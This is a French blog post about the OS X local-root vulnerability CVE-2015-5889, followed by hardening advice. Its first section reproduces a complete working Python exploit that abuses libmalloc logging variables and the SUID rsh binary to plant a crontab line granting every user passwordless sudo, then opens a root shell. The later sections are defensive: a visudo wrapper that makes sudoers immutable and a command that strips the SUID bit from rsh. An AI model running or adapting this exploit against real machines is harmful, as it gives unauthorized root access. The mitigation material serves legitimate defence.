# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root # tested on osx 10.9.5 / 10.10.5 # jul/2015 # by rebel





0x01. VULNERABILITE


 
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel
 
import os,time,sys
 
env = {}
 
s = os.stat("/etc/sudoers").st_size
 
env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\\n\\n\\n\\n\\n'
 
sys.stderr.write("creating /etc/crontab..")
 
p = os.fork()
if p == 0:  
    os.close(1)
    os.close(2)
    os.execve("/usr/bin/rsh",["rsh","localhost"],env)
 
time.sleep(1)
 
if "NOPASSWD" not in open("/etc/crontab").read():
    sys.stderr.write("failed\\n")
    sys.exit(-1)
 
sys.stderr.write("done\\nwaiting for /etc/sudoers to change (<60 seconds)..")
 
while os.stat("/etc/sudoers").st_size == s:
    sys.stderr.write(".")   
    time.sleep(1)
 
sys.stderr.write("\\ndone\\n")
 
os.system("sudo su")
 




0x02. SUDOERS


Comme dans la faille DYLD_PRINT_TO_FILE, il suffit de protéger votre fichier sudoers. J'ai alors fait un script que j'ai appelé visudo qui remplace le vrai visudo :


 
#!/bin/sh
 
f1=/opt/local/etc/sudoers
f2=/etc/sudoers
f=$f1
 
error()
{
  echo "$1"
  exit $2
}
 
[ "$(id -u)" != "0" ] && error "zsh: permission denied: visudo" 1
 
/usr/bin/chflags noschg "$f1" "$f2"
/bin/chmod u+w "$f1" "$f2"
 
/usr/sbin/visudo $@
 
/bin/ln -f "$f1" "$f2"
/bin/chmod ugo-w "$f"
/usr/bin/chflags schg "$f"
 
/bin/ls -lOG "$f"|grep --color=auto -- "schg"
 




0x03. RSH



RSH, en SUID 0 ? Pourquoi ? Je n'utilise pas, et je doute fort que les programmes aussi. Enlevons lui ce droit !


 
/usr/bin/chmod 0755 /usr/bin/rsh
 



   =>   Écrit par : Nicolas, le 04 octobre 2015


 
Mots clés :  
  macos 
  
  vuln 
    >   Articles connexes :

Comment gagner du temps sur Internet



/tmp et /var/log en noexec sur macOS



OSX/CVE-2016-1738



7200018